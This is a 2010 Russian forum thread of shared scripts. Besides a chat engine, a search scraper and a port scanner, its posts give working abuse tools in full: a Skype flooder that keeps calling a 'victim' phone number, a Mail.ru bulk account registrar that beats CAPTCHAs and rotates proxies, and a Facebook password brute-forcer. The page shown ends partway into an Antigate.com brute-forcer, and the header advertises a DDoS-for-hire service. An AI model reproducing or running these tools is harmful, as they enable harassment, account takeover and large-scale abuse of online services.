Полезные скрипты [Perl],[PHP],[Python] - Страница 3 - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Бесплатные прокси уже в Telegram
Все инфопродукты и приватная информация бесплатно
Старый 22.03.2010, 01:12   #19 (permalink)
NTR
VPN
 
Аватар для NTR
 
Регистрация: 30.05.2009
Адрес: proxy-base.org
Сообщений: 1,516
Member ID: 383

Репутация: 3739
Репутация: 3739
Сказал(а) спасибо: 1,168
Поблагодарили 2,548 раз(а) в 1,149 сообщениях
Хорошо Re: Полезные скрипты [Perl],[PHP],[Python]

Simple AJAX Chat
автор: dx
сайт автора: kaimi.ru

Простой движок немодерируемого чата на php+javascript.

Возможности:
[+] Вход в чат под выбранным никнеймом
[+] Смена никнейма
[+] Список участников
[+] Действия с участниками, аналогично mIRC
[+] Команда /me
[+] Смайлы
[+] Антифлуд
[+] Поддержка модулей (в движке уже есть несколько написанных для примера – время, транслитератор, печать строки наоборот, получение случайной цитаты с bash.org.ru, получение погоды, отображение списка модулей, отображение списка смайлов)
[+] Возможность включить базовую авторизацию, что позволяет как организовать публичный чат, так и приватный для какой-то группы людей

Чат имеет множество настроек, все они находятся в начале файла index.php. После настройки чата необходимо сохранить этот файл в UTF-8 без BOM.

Рабочий пример чата тут: Simple AJAX Chat

Скачать
NTR вне форума   Ответить с цитированием
Старый 22.03.2010, 13:17   #20 (permalink)
Заблокирован
 
Регистрация: 06.06.2009
Адрес: ip: 178.65.158.19, 95.52.11.251, 95.54.190.39, 78.36.31.7
Сообщений: 97
Member ID: 511
ICQ 448354

Репутация: 200
Репутация: 200
Сказал(а) спасибо: 155
Поблагодарили 180 раз(а) в 69 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

[ Python ] SkypeFlooder

Флудер телефонов на Python. Работает через Skype. Забираем, тестируем, пишем свои предложения.
Перед запуском обязательно читаем шапку кода и качаем всё что нужно!
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger

import sys, time, Skype4Py
from Skype4Py import call

num = raw_input("Input tel number, like +1234567890: ")
pause = raw_input("Input pause(sec): ")
while 1==1:
    # This variable will get its actual value in OnCall handler
    CallStatus = 0
    
    # Here we define a set of call statuses that indicate a call has been either aborted or finished
    CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
    
    def AttachmentStatusText(status):
       return skype.Convert.AttachmentStatusToText(status)
    
    def CallStatusText(status):
        return skype.Convert.CallStatusToText(status)
    
    # This handler is fired when status of Call object has changed
    def OnCall(call, status):
        global CallStatus
        CallStatus = status
        print 'Call status: ' + CallStatusText(status)
        if CallStatusText(status)=='Call in Progress': #Call in progress
            call.Finish()
            print "Waiting pause..."
    
    
    # This handler is fired when Skype attatchment status changes
    def OnAttach(status):
        print 'API attachment status: ' + AttachmentStatusText(status)
        if status == Skype4Py.apiAttachAvailable:
            skype.Attach()
    
    # Let's see if we were started with a command line parameter..
    try:
        CmdLine = num
    except:
        print 'Missing command line parameter'
        sys.exit()
    
    # Creating Skype object and assigning event handlers..
    skype = Skype4Py.Skype()
    skype.OnAttachmentStatus = OnAttach
    skype.OnCallStatus = OnCall
    
    # Starting Skype if it's not running already..
    if not skype.Client.IsRunning:
        print 'Starting Skype..'
        skype.Client.Start()
    
    # Attatching to Skype..
    print 'Connecting to Skype..'
    skype.Attach()
    skype.PlaceCall(CmdLine)
    
    # Checking if what we got from command line parameter is present in our contact list
    Found = False
    
    
    # Loop until CallStatus gets one of "call terminated" values in OnCall handler
    while not CallStatus in CallIsFinished:
        pass
    
    time.sleep(int(pause))
На данный момент программа:

* запрашивает номер телефона жертвы
* запрашивает паузу между звонками
* звонит на номер жертвы и ждёт поднятия трубки
* если жертва берёт трубку то программа сбрасывает звонок, ждёт паузу и заново звонит
* если жертва жмёт "отбой вызова", то программа заново звонит

Деньги не успевают уйти с аккаунта!
Если вдруг деньги успевают сниматься - поставьте больше паузу между звонками.

В следующей версии может быть прикручу GUI и оптимизирую код.
Все мелкие изменения будут тут , крупные буду выкладывать в теме.

Для тех, кто не знает что делать с кодом:
Устанавливаем всё, что написано в шапке кода. Создаём текстовый файл и копируем в него код. Сохраняем с расшерением .py и запускаем.


Для тех, кто не хочет/не может/не умеет пользоваться питоном собрал ЕХЕ файл.
В архиве 3 файла - сама программа, библиотеки к ней и файл vcredist_x86.exe, для тех, у кого программа выдаёт ошибку.
Ошибка связана с тем, что ХР и более ранние версии виндузов используют старые сишные библиотеки.
Качать http://inlanger.org.ua/files/SkypeFlooder.rar
Просьба не выкладывать на обменники!
aston вне форума   Ответить с цитированием
Старый 02.04.2010, 11:56   #21 (permalink)
NTR
VPN
 
Аватар для NTR
 
Регистрация: 30.05.2009
Адрес: proxy-base.org
Сообщений: 1,516
Member ID: 383

Репутация: 3739
Репутация: 3739
Сказал(а) спасибо: 1,168
Поблагодарили 2,548 раз(а) в 1,149 сообщениях
Стрелка Re: Полезные скрипты [Perl],[PHP],[Python]

Парсер google через ajax search api [python]
автор: rushter
сайт автора

Простейший парсер google через api. Кому надо, тот сам доведёт до ума, с автора только идея . Позволяет парсить примерно 60к ссылок без бана и капчи с 1 Ip, для большей работоспособности без бана можно попробовать добавить задержку. Все файлы должны быть в utf-8.
PHP код:
# -*- coding: UTF-8 -*-
import urllib2,random,re,time,json,urllib
ff 
open("ua.txt").readlines()
ques open("query.txt").readlines()
out open("parsed_query.txt","a")
err 0
for query in ques:
    try:
        for 
j in range(0,12,4):
            
header = {"User-Agent":random.choice(ff)}
            
lnk "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&start={0}&q={1}".format(str(j),urllib.quote(query.strip("\r\n")))
            
page_request urllib2.Request(url=lnkheaders=header)
            
page urllib2.urlopen(url=page_request)
            
pp json.load(page)["responseData"]["results"]
            try:
                for 
i in xrange(4):
                    
out.write(pp[i]["unescapedUrl"]+"\n")
                
out.flush()
            
except:
                if 
err>100:
                    break
    
except:
        if 
err>100:
            break
        
err err+
NTR вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 25.04.2010, 16:14   #22 (permalink)
NTR
VPN
 
Аватар для NTR
 
Регистрация: 30.05.2009
Адрес: proxy-base.org
Сообщений: 1,516
Member ID: 383

Репутация: 3739
Репутация: 3739
Сказал(а) спасибо: 1,168
Поблагодарили 2,548 раз(а) в 1,149 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Mail.Ru автореггер [perl]
взято с сайта

[+] Многопоточность
[+] Поддержка прокси
[+] Поддержка антикапчи

PHP код:
use strict;
use 
warnings;
#no warnings;
use LWP::UserAgent;
use 
HTTP::Cookies;
use 
threads;
use 
Fcntl ':flock';
use 
threads::shared;
use 
GD;
     
#--==-==-==--==-=-=--=-==-=--=-==-=--=-=-=-==-=-=-=-=-=--=-==-=-=====--==--=-=-=-=-=-=--=-=-=-=-=-=-
     
     # автореггер? 1 = да, 0 = нет
    
my $autoregger 1;
     
     
# домены, в которых можно регистрировать
    
my @domens = ('mail.ru''bk.ru''list.ru''inbox.ru');
     
     
# потоки
    
my $threads 1;
     
     
# использовать прокси
    
my $use_proxy 0;
     
# прокси файл
    
my $proxy_file 'proxy.txt';
         
     
#URL антикапчи
    
my $AC_HOST 'antigate.com';
     
#Ключ антикапчи
    
my $AC_KEY 'ffffffffffffffffffffffffffffffff';
         
     
# записивать результат в логи
    
my $use_logs 0;
     
# откладка
    
my $debug 0;
     
# удалять капчи
    
my $del_captcha 1;
         
    
my $names =
         
q[Ivan Taras Petro Roman Ostap Nazar Anrij Omeljan Vasul];
     
#--==-==-==--==-=-=--=-==-=--=-==-=--=-=-=-==-=-=-=-=-=--=-==-=-=====--==--=-=-=-=-=-=--=-=-=-=-=-=-
     
print "\n  [ MailRu\@mail Regger ] poma.2009\n".
      
"  last update 30.09.09\n\n";
     
$| = 
1;
mkdir ('tmp'777);
     
my @namess split(/\s/,$names);
my @PROXYs:shared = &fopen($proxy_file) if ($use_proxy == 1);
print 
'  '."\x1".' proxys loaded: '.scalar(@PROXYs)."\n" if ($use_proxy == 1); 
print 
'  '."\x1".' threads: '.$threads."\n";
     
my $time time;
print 
'  '."\x2".' Started at [ '.localtime()." ]\n\n";
     
my @trl = ();
$trl[$_] = threads->create(\&main) for 0..$threads-1;
$_->join for @trl;
     
foreach (<
tmp/*.dat>) {unlink;}
$time = time-$time;
print '  '."\x2".' finished ['.localtime()."]\n";
print '  '."\x1"." time elapsed: $time sec\n\n";
exit(0);
     
sub main {
    my ($ua,$ck) = &browser;
    while (1) {
                 
             my $TRY_REG = 0;
             TRY_REG: $TRY_REG++;
             &proxy($ua);
                 
             my $page = $ua->get('http://win.mail.ru/cgi-bin/signup')->as_string;
             &debug($page);
                 
             my ($sid) = $page =~ /"(.+?)"..urlencode.name_/i;
                 
             my $img;
             # /<img.+?src="(x_.+?)"/isg
             if (my (@caps) = $page =~ /<img.+?src="(x_.+?\d+&x_reg_id=.+?)"/isg) {
                     
                 my $t = time();
                 print '   . found '.scalar(@caps)." captcha(s)\n";
                 if (scalar(@caps) == 3) {
                     
                         my $captcha_image = new GD::Image(80 * scalar(@caps), 60);
                         my ($imW,$imH);
                             
                         my $fln = $t+rand(1);
                         my $i=0;
                         foreach (@caps) {
                             $img = $ua->get('http://win.mail.ru/cgi-bin/'.$_)->content;
                             open(PICTURE, ">tmp/".$t.'_'.$fln.".png");
                             binmode PICTURE;
                             print PICTURE $img;
                             close PICTURE;
                             my $im = GD::Image->newFromJpeg("tmp/".$t.'_'.$fln.".png");
                             ($imW, $imH) = $im->getBounds();
                             $captcha_image->copyResized($im, $i, 0, 0, 0, $imW, $imH, $imW, $imH);
                             unlink "tmp/".$t.'_'.$fln.".png" if ($del_captcha == 1);
                             $i+=70;
                             $fln++;
                         }
                         open(PICTURE, ">tmp/captcha_".$t.".png") or die("Cannot open file for writing");
                         binmode PICTURE;
                         print PICTURE $captcha_image->png;
                         close PICTURE;
                             
                 }
                 elsif (scalar(@caps) == 1) {
                                 
                             my $fln = $t+rand(1);
                             $img = $ua->get('http://win.mail.ru/cgi-bin/'.$caps[0])->content;
                             open(PICTURE, ">tmp/".$t.'_'.$fln.".jpeg");
                             binmode PICTURE;
                             print PICTURE $img;
                             close PICTURE;
                             my $im = GD::Image->newFromJpeg("tmp/".$t.'_'.$fln.".jpeg");
                             open(PICTURE, ">tmp/captcha_".$t.".png") or die("Cannot open file for writing");
                             binmode PICTURE;
                             print PICTURE $im->png;
                             close PICTURE;
                                 
                 }
                     
                 my ($x_reg_id) = $page =~ /"&x_reg_id=(.+?)&/i;
                 my ($inputLogin) = $page =~ />E-mail<.+?name="(x_.+?)"/si;
                 
                 my $DOMEN = $domens[rand @domens];
                 
                 my @words = 'a'..'z';
                 # логин
                 my $loginOK = 0;
                 my $login;
                 while ($loginOK == 0) {
                         $login = '';
                         for(my $i=0; $i<rand(10)+7; $i++) {
                             $login .= $words[rand scalar(@words)];
                         }
                         my $login_page = $ua->post('http://win.mail.ru/cgi-bin/checklogin',
                             [
                                 'RegistrationDomain' => $DOMEN,
                                 $inputLogin => $login,
                                 'x_reg_id' => $x_reg_id
                             ]
                         )->content;
                         &debug($login_page);
                         print '   + '.$login.'@'.$DOMEN.': BAD_USER' if ($debug==1 && $login_page eq '102');
                         print '   + '.$login.'@'.$DOMEN.': EXISTS_USER' if ($debug==1 && $login_page eq '101');
                         $loginOK = 1 if ($login_page eq '0');
                         goto TRY_REG if $login_page =~ /500 read failed/i;
                 }
                 
                 # пароль
                 my $password;
                 for(my $i=0; $i<rand(10)+5; $i++) {
                     $password .= $words[rand scalar(@words)];
                 }
                 # секретный вопрос
                 my $q;
                 for(my $i=0; $i<rand(10)+2; $i++) {
                     for(my $ii=0; $ii<rand(10)+1; $ii++) {
                         $q .= $words[rand scalar(@words)];
                     }
                     $q .= ' ';
                 }
                 $q .= '?';
                 # секретный ответ
                 my $q_answer;
                 for(my $i=0; $i<rand(10)+6; $i++) {
                     $q_answer .= $words[rand scalar(@words)];
                 }
                     
                 my $name =  $namess[rand @namess];
                 my $surname = $namess[rand @namess].'ov';
                 my $birth_day = int(rand(20)+1);
                 my $birth_mon = int(rand(10)+1);
                 my $birth_year = int(rand(20)+1970);
                     
                 my ($ID) = $page =~ /name="ID" value="(.+?)"/i;
                 my ($inputName) = $page =~ />Имя<.+?name="(x_.+?)"/si;
                #my ($inputName) = $page =~ /(x_.+?):'Введите Ваше имя'/si;
                 my ($inputSurName) = $page =~ />Фамилия<.+?name="(x_.+?)"/si;
                #my ($inputSurName) = $page =~ /(x_.+?):'Введите Вашу фамилию'/si;
                 my ($inputBirthDay) = $page =~ /;рождения.+?name="(x_.+?)"/si;
                #my ($inputBirthDay) = $page =~ /(x_.+?):'День'/si;
                 my ($inputBirthYear) = $page =~ /;рождения.+?name="x_.+?".+?name=".+?".+?name="(x_.+?)"/si;
                #my ($inputBirthYear) = $page =~ /(x_.+?):'Год'/si;
                 my ($inputPassword1) = $page =~ /pass1 = form.(x_.+?);/si;
                 my ($inputPassword2) = $page =~ /pass2 = form.(x_.+?);/si;
                 my ($inputSectetQ) = $page =~ /Ваш&nbsp;вопрос.+?name="(x_.+?)"/si;
                 my ($inputSectetA) = $page =~ /Ответ&nbsp;на&nbsp;вопрос.+?name="(x_.+?)"/si;
                 my ($inputAddEmail) = $page =~ /Доп.&nbsp;e-mail.+?name="(x_.+?)"/si;
                 my ($inputSex) = $page =~ /Ваш&nbsp;пол.+?name="(x_.+?)"/si;
                 my ($inputCaptcha) = $page =~ /;картинке.+?name="(x_.+?)"/si;
                 
                 my $captcha = &captcha($ua,'tmp/captcha_'.$t.'.png');
                 print '   . captcha = '.$captcha."\n";
                 
                 $page = $ua->post('http://win.mail.ru/cgi-bin/reg',
                     [
                         'ID' => $ID,
                         'Count' => '1',
                         'back' => '',
                         $inputName => $name,
                         $inputSurName => $surname,
                         $inputBirthDay => $birth_day,
                         'BirthMonth' => $birth_mon,
                         $inputBirthYear => $birth_year,
                         $inputLogin => $login,
                         $inputPassword1 => $password,
                         $inputPassword2 => $password,
                         'RegistrationDomain' => $DOMEN,
                         'Password_Question' => 'Custom',
                         $inputSectetQ => $q,
                         $inputSectetA => $q_answer,
                         $inputAddEmail => '',
                         'RemindPhone' => '',
                         $inputSex => int(rand(1)),
                         'Mrim.Country' => '',
                         'Mrim.Region' => '',
                         'geo_countryId' => 'undefined',
                         'geo_regionId' => 'undefined',
                         'geo_cityId' => 'undefined',
                         'your_town' => '',
                         'geo_country' => 'undefined',
                         'geo_place' => '',
                         'x_reg_id' => $x_reg_id,
                         'security_image_id' => '',
                         $inputCaptcha => $captcha,
                         'B1' => '+%C7%E0%F0%E5%E3%E8%F1%F2%F0%E8%F0%EE%E2%E0%F2%FC+%EF%EE%F7%F2%EE%E2%FB%E9+%FF%F9%E8%EA+'
                     ]
                 )->as_string;
                 &debug($page);
                 
                 if (length($page)<=5000) {
                         print '   + '.$login.'@'.$DOMEN.' : '.$password."\n";
                         &fsave('accounts_MailRu.txt', $login.'@'.$DOMEN.':'.$password."\n");
                         &fsave('accounts_MailRu_full.txt', $login.'@'.$DOMEN.':'.$password."\n".'Q: '.$q."\n".'A: '.$q_answer."\n\n");
                 }    else {
                         if ($page =~ /Превышен лимит регистраций с Вашего IP/i) {
                             print '   - registration limit from your IP..'."\n";
                             &proxy($ua);
                             exit(0) if (!$use_proxy);
                         }
                         if ($page =~ /Неверно указан код защиты от автоматических регистраций/i) {
                             print '   - bad catcha regorgenized.. trying again.. ('.$TRY_REG.')'."\n";
                             goto TRY_REG if ($TRY_REG <= 2);
                         }
                         print '   - '.$login.'@'.$DOMEN.' : '.$password."\n";
                         &debug($page);
                 }
                 
                         
             } else {
                 
                 print '   - check mail.ru page..'."\n";
                 &fsave("tmp/debug_".time.".html", $page);
                #exit(0);
                 
             }
             
             $ck->clear();
             sleep(5);
             
    }
         
}
     
sub browser {
    my $ua = new LWP::UserAgent;
    $ua->agent(&rndUserAgent);
    my $cookie_jar = HTTP::Cookies->new(file => "./tmp/".rand(1).".dat", autosave => 1);
    $cookie_jar->clear();
    $ua->cookie_jar($cookie_jar);
    $ua->parse_head(0);
    $ua->timeout(10);
    return $ua, $cookie_jar;
}
     
sub proxy {
     return '' if (!$use_proxy);
     my ($ua) = @_;
     my $GOOD = 0;
     $ua->timeout(10);
     
     while ($GOOD == 0) {
         if (!@PROXYs) {
             print ' -- all proxies are bad!'."\n";
             exit(0);
         }
         my $seed = int rand @PROXYs;
         $ua->proxy('http' => 'http://'.$PROXYs[$seed]);
         my $TRY_AGAIN = 0;
         TRY_AGAIN:
         $TRY_AGAIN++;
         my $test = $ua->get('http://pda.vkontakte.ru/')->as_string;
         if ($test =~ /vkontakte/i) {
             print ' << proxy using '.$PROXYs[$seed]."\n";
             $GOOD = 1;
         } else {
             print ' << proxy bad '.$PROXYs[$seed].' ( remained '.(scalar @PROXYs ).' )'."\n";
             goto TRY_AGAIN if ($test =~ /^500 read timeout$/i && $TRY_AGAIN<=3);
             { lock(@PROXYs);
               my @PROXYs_ = @PROXYs;
               splice @PROXYs_, $seed, 1;
               @PROXYs = @PROXYs_;
             }
         }
     }
     return 1;
}
     
sub fopen {
    open(F, "<", $_[0]) || die "  - [ $_[0] ] $!$/";
    chomp(my @list = <F>);
    close F;
    return @list;
}
sub fsave {
    open (F, '>>'.$_[0]);
    flock(F, LOCK_EX);
    print F $_[1];
    flock(F, LOCK_UN);
    close(F);
}
     
sub debug {
    return 0 if ($debug!=1);
    &fsave("tmp/debug_".time.($_[1]?'_'.$_[1]:'').".html", $_[0]);
    sleep(1);
}
     
sub captcha {
    my ($ua, $imgFName) = @_;
         
    my $cap = 'UNKNOWN';
    if ($autoregger eq '0'){
        chop($cap = <>);
        return $cap;
    }
    $cap = &anti_captcha($ua, $imgFName);
    return $cap if ($cap && $cap ne '0');
    unlink $imgFName if ($del_captcha == 1);
    return 0;
    
}

sub anti_captcha {
     my $ua = $_[0];
     my $img = $_[1];
     print "  . recognizing captcha (".$img.")..."."\n";
     my $digits   = '';
     M:
         my $response = $ua->post( 'http://'.$AC_HOST.'/in.php',
            Content_Type => 'form-data',
            Content => [
                 file =>
                     [
                         $img,
                         "$img",
                         "Content-Type" => "application/octet-stream"
                     ],
                 method   => "post",
                 'soft_id' => '86',
                 key      => $AC_KEY
            ]
         )->as_string;
         if($response =~ /OK\|(\d+)/i) {
             my $kkey = $1;
             do {
                 print "  . Waiting chinese response... ($kkey)"."\n";
                 $digits = $ua->get(
                     'http://'.$AC_HOST."/res.php?key=$AC_KEY&action=get&id=$kkey"
                 )->as_string;
                 sleep(5);
             }
             while($digits =~ /CAPCHA_NOT_READY/i);
             $digits = $1 if $digits =~ /OK\|(.*)/i;
             print "  + Recorgenized (".$img."): ".$digits."\n";
         }
         elsif ($response =~ /ERROR_NO_SLOT_AVAILABLE/i) {
             sleep(1);
             print "  . Waiting for free slot ..."."\n";
             goto M;
         }
         elsif ($response =~ /ERROR_KEY/i) {
             print " -!- Your anti-captcha key is invalid, please check or remove it"."\n";
             exit(0);
         }
         else {
             $response =~ /\n\n(.*)/is;
             print " ?? Something wrong with AC: $1"."\n";
             exit(0) if ($1 =~ /ERROR_ZERO_BALANCE/);
         }
         return $digits;
}

# random User-Agent
sub rndUserAgent {
    my @browsers =
         (
             'amaya/9.53 libwww/5.4.0',
             'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4',
             'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)',
             'Advanced Browser (http://www.avantbrowser.com)',
             'Avant Browser (http://www.avantbrowser.com)',
             'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1',
             'ELinks (0.4pre5; Linux 2.4.27 i686; 80x25)',
             'Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14',
             'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian|Debian-1.8.0.5-3) Epiphany/2.14',
             'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.25 Safari/525.19',
             'Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS X)',
             'Microsoft Internet Explorer/4.0b1 (Windows 95)',
             'Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)',
             'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1-eL_waux)',
             'Microsoft Pocket Internet Explorer/0.6 ',
             'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
             'Lynx/2.8.4rel.1 libwww-FM/2.14',
             'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
             'Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.2) Gecko/2008092702 Gentoo Firefox/3.0.2',
             'Mozilla/3.0 (OS/2; U)',
             'Mozilla/4.8 [en] (Windows NT 5.0; U)',
             'Opera/7.23 (Windows 98; U) [en]',
             'Opera/9.02 (Windows NT 5.1; U; en)',
             'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
             'Mozilla/4.0 (PSP (PlayStation Portable); 2.00)',
             'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1',
             'Mozilla/3.0 (compatible; Indy Library)',
             'Checkbot/0.4',
             'Checkbot/0.4 ',
             'Mozilla/5.0'
         );
     return @browsers[rand(scalar(@browsers))];
};
     
# =--=-=-=-=---=-=-=-=-----=-==-=-==-=-=-=-=-=-=-=------==-=-=-======-------=-=-=--=-=-=-=--=-==-=-=-=--==-
# poma(c)2009
# ^_^
# Программа написана исключительно в образовательных целях.
# И я, и автор скрипта, не несу ответственности за ее действия. 
NTR вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Старый 31.05.2010, 23:53   #23 (permalink)
NTR
VPN
 
Аватар для NTR
 
Регистрация: 30.05.2009
Адрес: proxy-base.org
Сообщений: 1,516
Member ID: 383

Репутация: 3739
Репутация: 3739
Сказал(а) спасибо: 1,168
Поблагодарили 2,548 раз(а) в 1,149 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Facebook brute-forcer [php]

PHP код:
<?

################################

# Face Book Brute Forcer

# Copyright@2009 by ac007

################################

function setData($email,$pass)

{

global 
$vars;

$vars["charset_test"]=urldecode("%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84");

$vars["return_session"]=0;

$vars["email"]=$email;

$vars["pass"]=trim($pass);

$vars["persistent"]=1;

$vars["charset_test"]=urldecode("%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84");

$vars["login"]="Login";



$data="";

foreach(
$vars as $key=>$value)

{

$data.=$key."=".urlencode($value)."&";

}

return 
$data;

}

set_time_limit(0);

ini_set('output_buffering',true);

$dictionary =dirname(__FILE__)."\wordlist\mil-dic.txt"// need dictionary to password list

function CheckItOut($email,$pass)

{

$ret=false;

$useragent "Opera/9.21 (Windows NT 5.1; U; tr)";

$data setData($email,$pass);

$ch curl_init('https://login.facebook.com/login.php?login_attempt=1');

curl_setopt($chCURLOPT_HEADER0);

curl_setopt($chCURLOPT_FOLLOWLOCATION1);

curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);

curl_setopt($chCURLOPT_RETURNTRANSFER1);

curl_setopt($chCURLOPT_ENCODING "gzip,deflate");

curl_setopt($chCURLOPT_POST1);

curl_setopt($chCURLOPT_POSTFIELDS$data);

curl_setopt($chCURLOPT_USERAGENT$useragent);

curl_setopt($chCURLOPT_COOKIEFILEdirname(__FILE__).'/cookie.txt');

curl_setopt($chCURLOPT_COOKIEJARdirname(__FILE__).'/cookie.txt');

$source=curl_exec($ch);



$info=curl_getinfo($ch);





if(
$info["redirect_count"]==1)

{

$ret=true;

}







return 
$ret;

}

echo 
"<form action=\"brute.php\" method=\"post\"><table align=\"center\">

<tr><td colspan=2>Entry Email Address below to Bruteforce...</td>

</tr>



<tr><td>Email Address:</td>

<td><input type=text name=\"username\" value=\"\"></td></tr>

<tr><td>Click the Submit Button to Start..</td>

<td><input type=\"submit\" value=\"Submit\"></td></tr>

</table>"
;

if(isset(
$_POST['username']))

{



$username =$_POST['username'];

if(!
is_file($dictionary)){echo "$dictionary is not file";exit;}

$lines=file($dictionary);

echo 
"Attack Starting..</br></br>";

sleep(3);

echo 
"Attack Started, brute forcing.. </br> ";

foreach(
$lines as $line)

{

$line=str_replace("r","",$line);

$line=str_replace("n","",$line);

if(
CheckItOut($username,$line))

{

echo 
"[+] username:$username , password:$line - Password found : $line</br>";

$fp=fopen('cookie.txt','w');

fwrite($fp,'successfully pass:'.$line);

exit;

}else{

echo 
"[-] username:$username , password:$line - Password not found :$line</br>";

}

/**

* Print the result direct onto the browser screen...

*/

ob_flush();

flush();

}

}

?>
NTR вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 16.06.2010, 12:54   #24 (permalink)
NTR
VPN
 
Аватар для NTR
 
Регистрация: 30.05.2009
Адрес: proxy-base.org
Сообщений: 1,516
Member ID: 383

Репутация: 3739
Репутация: 3739
Сказал(а) спасибо: 1,168
Поблагодарили 2,548 раз(а) в 1,149 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Сканер портов [python]
автор: rushter
сайт автора

PHP код:
#coding: utf-8
import socket,Queue,threading
from time import time
queue 
Queue.Queue()
HOST "localhost"  
COUNT 1000
THREADS
=100
TIMEOUT 
0.01
def worker
():
    global 
queue
    
while True:
        try:
            
target =  queue.get_nowait()
        
except Queue.Empty:
            return 
        
check(target)
 
def check(port):
    
sock socket.socket(socket.AF_INETsocket.SOCK_STREAM)
    
sock.settimeout(TIMEOUT)    
    try:
        
sock.connect((HOSTport))
    
except:
        return
    print 
port
    sock
.close()
def main():
    
t1 time()
    for 
i in xrange(COUNT):
        
queue.put(i)
    for 
_ in xrange(THREADS):
        
thread_ threading.Thread(target=worker)
        
thread_.start()
    while 
threading.active_count() >1:
        
pass
    t2 
time()
    print 
t2-t1
main
() 
NTR вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Старый 24.08.2010, 11:02   #25 (permalink)
HTTP
 
Аватар для glts
 
Регистрация: 21.07.2010
Сообщений: 28
Member ID: 8655

Репутация: 31
Репутация: 31
Сказал(а) спасибо: 4
Поблагодарили 29 раз(а) в 21 сообщениях
Хорошо Re: Полезные скрипты [Perl],[PHP],[Python]

Многопоточный (кол-во потоков задается) автоматический чекер соксов (работает в цикле), настройки в шапке, читайте коменты. Загрузка соксов на чек с урл (раскоментить функцию) или локально. Работает при закрытом браузере, чекнутые соксы 100% работают
P.S. Пускаю на никсовых дедиках, держит 1к и более потоков стабильно.

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.


Если нужно брать соксы на чек из мускула, ставьте УРЛ на этот скрипт (должен лежать на сервере с sql):

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.


Рядом должен быть файл с данными ДБ (access.php) в след формате:

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.

Последний раз редактировалось glts; 24.08.2010 в 11:16.
glts вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 20.09.2010, 21:27   #26 (permalink)
HTTP
 
Регистрация: 16.09.2010
Сообщений: 3
Member ID: 9334

Репутация: 15
Репутация: 15
Сказал(а) спасибо: 10
Поблагодарили 11 раз(а) в 6 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Antigate.com Brute-forcer+proxy [php]

PHP код:
<center><form method="POST"> 

Количество попыток:<input name="count" type="text" value="10"><br> 

Файл для гудов:<input name="file" type="text" value="good.txt"><br> 

Файл с прокси:<input name="proxy" type="text" value="proxy.txt"><br> 

<input type="submit" value="check"><br> 

</form></center> 


<?php 

set_time_limit
(0); 

function 
add($path,$page_body



$file=fopen($path,"a+"); 

fputs($file,$page_body); 

fclose($file); 



function 
read($path



$file=fopen($path,"r"); 

$bufer fread($file,filesize($path)); 

fclose($file); 

return(
$bufer); 



function 
curl($url,$proxy=''



global 
$cfile

$ch curl_init(); 

curl_setopt($chCURLOPT_RETURNTRANSFER1); 

curl_setopt($chCURLOPT_URL$url); 

curl_setopt($chCURLOPT_HEADER0); 

